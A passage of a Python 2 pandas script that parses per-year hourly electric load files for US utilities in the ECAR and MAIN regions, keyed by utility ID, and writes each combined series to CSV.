1996 : pd.read_fwf('%s/ecar/1996/NIPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/NIPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/NIPS98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/NIPS99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/NIPS00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/NIPS01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/NIPS02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/NIPS03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/NIPS04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
13998 : {
1993 : pd.read_fwf('%s/ecar/1993/OES93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/OES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/OES95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/OES96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
14015 : {
1993 : pd.read_fwf('%s/ecar/1993/OVEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/OVEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/OVEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/OVEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/OVEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/OVEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/OVEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/OVEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/OVEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/OVEC02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/OVEC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/OVEC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
15470 : {
1993 : pd.read_fwf('%s/ecar/1993/PSI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/PSI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/PSI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
17633 : {
1993 : pd.read_fwf('%s/ecar/1993/SIGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/SIGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/SIGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/SIGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/SIGE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/SIGE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/SIGE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/SIGE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/SIGE02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/SIGE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/SIGE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
18997 : {
1993 : pd.read_fwf('%s/ecar/1993/TECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/TECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/TECO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/TECO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
40211 : {
1994 : pd.read_fwf('%s/ecar/1994/WVPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/ecar/2003/WVPA03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/WVPA04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
32208 : {
1997 : pd.read_fwf('%s/ecar/1997/FE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/FE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/FE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/FE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/FE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/FE02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/FE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/FE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
'mccp' : {
1993 : pd.read_fwf('%s/ecar/1993/MCCP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/MCCP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/MCCP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/MCCP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/MCCP01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/MCCP02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/MCCP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/MCCP04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
}
}
if not os.path.exists('./ecar'):
os.mkdir('ecar')
for k in ecar.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(ecar[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(ecar[k][i]))) for i in ecar[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].astype(float).replace(0, np.nan)
s.to_csv('./ecar/%s.csv' % k)
###### MAIN
# CECO : 4110
# CILC: 3252 <- Looks like something is getting cut off from 1993-2000
# CIPS: 3253
# IPC: 9208
# MGE: 11479
# SIPC: 17632
# SPIL: 17828
# UE: 19436
# WEPC: 20847
# WPL: 20856
# WPS: 20860
# UPP: 19578
# WPPI: 20858
# AMER: 19436
# CWL: 4045
main = {
4110 : {
1993 : pd.read_fwf('%s/main/1993/CECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_csv('%s/main/1995/CECO95' % (fulldir), skiprows=3, header=None)[0].values,
1996 : pd.read_csv('%s/main/1996/CECO96' % (fulldir), skiprows=4, header=None)[1].values,
1997 : pd.read_csv('%s/main/1997/CECO97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=4, header=None)[3].values,
1998 : pd.read_csv('%s/main/1998/CECO98' % (fulldir), sep='\s', skipinitialspace=True, skiprows=5, header=None)[5].values,
1999 : pd.read_csv('%s/main/1999/CECO99' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values,
2000 : pd.read_csv('%s/main/2000/CECO00' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values,
2001 : pd.read_csv('%s/main/2001/CECO01' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values,
2002 : pd.read_csv('%s/main/2002/CECO02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None)[2].values
},
3252 : {
1993 : pd.read_fwf('%s/main/1993/CILC93' % (fulldir), header=None).iloc[:, 2:].values.ravel(),
1994 : pd.read_fwf('%s/main/1994/CILC94' % (fulldir), header=None).iloc[:, 2:].values.ravel(),
1995 : pd.read_fwf('%s/main/1995/CILC95' % (fulldir), header=None).iloc[:, 2:].values.ravel(),
1996 : pd.read_fwf('%s/main/1996/CILC96' % (fulldir), header=None).iloc[:, 2:].values.ravel(),
1997 : pd.read_fwf('%s/main/1997/CILC97' % (fulldir), header=None).iloc[:, 2:].values.ravel(),
1998 : pd.read_fwf('%s/main/1998/CILC98' % (fulldir), header=None).iloc[:, 2:].values.ravel(),
1999 : pd.read_fwf('%s/main/1999/CILC99' % (fulldir), header=None).iloc[:, 2:].values.ravel(),
2000 : pd.read_excel('%s/main/2000/CILC00' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(),
2001 : pd.read_excel('%s/main/2001/CILC01' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(),
2002 : pd.read_excel('%s/main/2002/CILC02' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(),
2003 : pd.read_csv('%s/main/2003/CILC03' % (fulldir), skiprows=1, sep='\t').iloc[:, -1].values
},
3253 : {
1993 : pd.read_fwf('%s/main/1993/CIPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/main/1994/CIPS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/main/1995/CIPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/main/1996/CIPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/main/1997/CIPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
9208 : {
1993 : pd.read_csv('%s/main/1993/IPC93' % (fulldir), skipfooter=1, header=None)[2].values,
1994 : pd.read_csv('%s/main/1994/IPC94' % (fulldir), skipfooter=1, header=None)[2].values,
1995 : pd.read_csv('%s/main/1995/IPC95' % (fulldir), skipfooter=1, header=None)[4].astype(str).str.replace('.', '0').astype(float).values,
1996 : pd.read_csv('%s/main/1996/IPC96' % (fulldir)).iloc[:, -1].values,
1997 : pd.read_csv('%s/main/1997/IPC97' % (fulldir)).iloc[:, -1].values,
1998 : pd.read_excel('%s/main/1998/IPC98' % (fulldir)).iloc[:, -1].values,
1999 : pd.read_csv('%s/main/1999/IPC99' % (fulldir), skiprows=2, header=None)[1].values,
2000 : pd.read_excel('%s/main/2000/IPC00' % (fulldir), skiprows=1).iloc[:, -1].values,
2001 : pd.read_excel('%s/main/2001/IPC01' % (fulldir), skiprows=1).iloc[:, -1].values,
2002 : pd.read_excel('%s/main/2002/IPC02' % (fulldir), skiprows=4).iloc[:, -1].values,
2003 : pd.read_excel('%s/main/2003/IPC03' % (fulldir), skiprows=1).iloc[:, -1].values,
2004 : pd.read_excel('%s/main/2004/IPC04' % (fulldir), skiprows=1).iloc[:, -1].values
},
11479 : {
1993 : pd.read_fwf('%s/main/1993/MGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=4).iloc[:, 1:].dropna().astype(float).values.ravel(),
1995 : pd.read_csv('%s/main/1995/MGE95' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values,
1997 : pd.read_csv('%s/main/1997/MGE97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=12, header=None).iloc[:-1, 2].astype(float).values,
1998 : pd.read_csv('%s/main/1998/MGE98' % (fulldir), sep=' ', skipinitialspace=True).iloc[:-1]['LOAD'].astype(float).values,
1999 : pd.read_csv('%s/main/1999/MGE99' % (fulldir), sep=' ', skiprows=2, header=None, skipinitialspace=True).iloc[:-2, 2].astype(float).values,
2000 : pd.read_csv('%s/main/2000/MGE00' % (fulldir), sep=' ', skiprows=3, header=None, skipinitialspace=True, skipfooter=2).iloc[:, 2].astype(float).values,
2000 : pd.read_fwf('%s/main/2000/MGE00' % (fulldir), skiprows=2)['VMS_DATE'].iloc[:-2].str.split().str[-1].astype(float).values,
2001 : pd.read_fwf('%s/main/2001/MGE01' % (fulldir), skiprows=1, header=None).iloc[:-2, 2].values,
2002 : pd.read_fwf('%s/main/2002/MGE02' % (fulldir), skiprows=4, header=None).iloc[:-1, 0].str.split().str[-1].astype(float).values
},
17632 : {
1994 : pd.read_csv('%s/main/1994/SIPC94' % (fulldir), engine='python', skipfooter=1, header=None)[0].values,
1996 : pd.read_csv('%s/main/1996/SIPC96' % (fulldir), engine='python', header=None)[0].values,
1997 : pd.read_csv('%s/main/1997/SIPC97' % (fulldir), engine='python', header=None)[0].values,
1998 : pd.read_csv('%s/main/1998/SIPC98' % (fulldir), engine='python', header=None)[0].values,
1999 : pd.read_csv('%s/main/1999/SIPC99' % (fulldir), engine='python', header=None)[0].replace('no data', '0').astype(float).values,
2000 : pd.read_csv('%s/main/2000/SIPC00' % (fulldir), engine='python', header=None)[0].astype(str).str[:3].astype(float).values,
2001 : pd.read_csv('%s/main/2001/SIPC01' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values,
2002 : pd.read_csv('%s/main/2002/SIPC02' % (fulldir), sep='\t', skiprows=3, header=None)[1].values,
2003 : pd.read_csv('%s/main/2003/SIPC03' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values,
2004 : pd.read_csv('%s/main/2004/SIPC04' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values
},
17828 : {
1993 : pd.read_csv('%s/main/1993/SPIL93' % (fulldir), sep=' ', skipinitialspace=True, skiprows=4, header=None).iloc[:, 3:].values.ravel(),
1994 : pd.read_csv('%s/main/1994/SPIL94' % (fulldir), sep=' ', skipinitialspace=True, skiprows=6, header=None).iloc[:, 3:].values.ravel(),
1995 : pd.read_csv('%s/main/1995/SPIL95' % (fulldir), sep=' ', skipinitialspace=True, skiprows=7, header=None).iloc[:, 3:].values.ravel(),
1996 : pd.read_csv('%s/main/1996/SPIL96' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).iloc[:366, 3:].astype(float).values.ravel(),
1997 : pd.read_csv('%s/main/1997/SPIL97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=7, header=None).iloc[:, 3:].values.ravel(),
1998 : pd.read_csv('%s/main/1998/SPIL98' % (fulldir), sep='\t', skipinitialspace=True, skiprows=8, header=None).iloc[:, 4:].values.ravel(),
1999 : pd.read_csv('%s/main/1999/SPIL99' % (fulldir), skiprows=4, header=None)[0].values,
2000 : pd.read_csv('%s/main/2000/SPIL00' % (fulldir), skiprows=4, header=None)[0].values,
2001 : pd.read_csv('%s/main/2001/SPIL01' % (fulldir), sep='\t', skipinitialspace=True, skiprows=7, header=None).iloc[:, 5:-1].values.ravel(),
2002 : pd.read_excel('%s/main/2002/SPIL02' % (fulldir), sheetname=2, skiprows=5).iloc[:, 3:].values.ravel(),
2003 : pd.read_excel('%s/main/2003/SPIL03' % (fulldir), sheetname=2, skiprows=5).iloc[:, 3:].values.ravel(),
2004 : pd.read_excel('%s/main/2004/SPIL04' % (fulldir), sheetname=0, skiprows=5).iloc[:, 3:].values.ravel()
},
19436 : {
1995 : pd.read_fwf('%s/main/1995/UE95' % (fulldir), header=None)[2].values,
1996 : pd.read_fwf('%s/main/1996/UE96' % (fulldir), header=None)[2].values,
1997 : pd.read_fwf('%s/main/1997/UE97' % (fulldir), header=None)[2].values
},
20847 : {
1993 : pd.read_csv('%s/main/1993/WEPC93' % (fulldir), engine='python', skipfooter=1, header=None)[0].values,
1994 : pd.read_csv('%s/main/1994/WEPC94' % (fulldir), engine='python', skipfooter=1, header=None)[0].values,
1995 : pd.read_csv('%s/main/1995/WEPC95' % (fulldir), engine='python', skipfooter=1, header=None)[0].values,
1996 : pd.read_csv('%s/main/1996/WEPC96' % (fulldir), engine='python', header=None)[0].values,
1997 : pd.read_excel('%s/main/1997/WEPC97' % (fulldir), header=None)[0].astype(str).str.strip().replace('NA', '0').astype(float).values,
1998 : pd.read_csv('%s/main/1998/WEPC98' % (fulldir), engine='python', header=None)[0].str.strip().replace('NA', 0).astype(float).values,
1999 : pd.read_excel('%s/main/1999/WEPC99' % (fulldir), header=None).iloc[:, 1:].values.ravel(),
2000 : pd.read_excel('%s/main/2000/WEPC00' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2001 : pd.read_excel('%s/main/2001/WEPC01' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_excel('%s/main/2002/WEPC02' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2003 : pd.read_excel('%s/main/2003/WEPC03' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2004 : pd.read_excel('%s/main/2004/WEPC04' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel()
},
20856 : {
1993 : pd.read_fwf('%s/main/1993/WPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/main/1994/WPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/main/1995/WPL95' % (fulldir), header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_csv('%s/main/1996/WPL96' % (fulldir), header=None, sep='\t').iloc[:, 1:].values.ravel(),
1997 : pd.read_csv('%s/main/1997/WPL97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=1, header=None)[2].str.replace(',', '').astype(float).values
},
20860 : {
1993 : pd.read_csv('%s/main/1993/WPS93' % (fulldir), sep=' ', header=None, skipinitialspace=True, skipfooter=1).values.ravel(),
1994 : (pd.read_csv('%s/main/1994/WPS94' % (fulldir), sep=' ', header=None, skipinitialspace=True, skipfooter=1).iloc[:, 1:-1]/100).values.ravel(),
1995 : pd.read_csv('%s/main/1995/WPS95' % (fulldir), sep=' ', skipinitialspace=True, skiprows=8, header=None, skipfooter=7)[2].values,
1996 : pd.read_csv('%s/main/1996/WPS96' % (fulldir), sep='\t', skiprows=2).loc[:365, '100':'2400'].astype(float).values.ravel(),
1997 : pd.read_csv('%s/main/1997/WPS97' % (fulldir), sep='\s', header=None, skipfooter=1)[2].values,
1998 : pd.read_csv('%s/main/1998/WPS98' % (fulldir), sep='\s', header=None)[2].values,
1999 : pd.read_excel('%s/main/1999/WPS99' % (fulldir), skiprows=8, skipfooter=8, header=None)[1].values,
2000 : pd.read_excel('%s/main/2000/WPS00' % (fulldir), sheetname=1, skiprows=5, skipfooter=8, header=None)[2].values,
2001 : pd.read_excel('%s/main/2001/WPS01' % (fulldir), sheetname=0, skiprows=5, header=None)[2].values,
2002 : pd.read_csv('%s/main/2002/WPS02' % (fulldir), sep='\s', header=None, skiprows=5)[2].values,
2003 : pd.read_excel('%s/main/2003/WPS03' % (fulldir), sheetname=1, skiprows=6, header=None)[2].values
},
19578 : {
1996 : pd.read_csv('%s/main/1996/UPP96' % (fulldir), header=None, skipfooter=1).iloc[:, -1].values,
2004 : pd.read_excel('%s/main/2004/UPP04' % (fulldir)).iloc[:, -1].values
},
20858 : {
1997 : pd.read_csv('%s/main/1997/WPPI97' % (fulldir), skiprows=5, sep=' ', skipinitialspace=True, header=None).iloc[:, 1:-1].values.ravel(),
1999 : pd.DataFrame([i.split() for i in open('%s/main/1999/WPPI99' % (fulldir)).readlines()[5:]]).iloc[:, 1:-1].astype(float).values.ravel(),
2000 : pd.DataFrame([i.split() for i in open('%s/main/2000/WPPI00' % (fulldir)).readlines()[5:]]).iloc[:, 1:-1].astype(float).values.ravel(),
2001 : pd.read_excel('%s/main/2001/WPPI01' % (fulldir), sheetname=1, skiprows=4).iloc[:, 1:-1].values.ravel(),
2002 : pd.read_excel('%s/main/2002/WPPI02' % (fulldir), sheetname=1, skiprows=4).iloc[:, 1:-1].values.ravel()
},
19436 : {
1998 : pd.read_csv('%s/main/1998/AMER98' % (fulldir), sep='\t').iloc[:, -1].str.strip().replace('na', 0).astype(float).values,
1999 : pd.read_csv('%s/main/1999/AMER99' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values,
2000 : pd.read_csv('%s/main/2000/AMER00' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values,
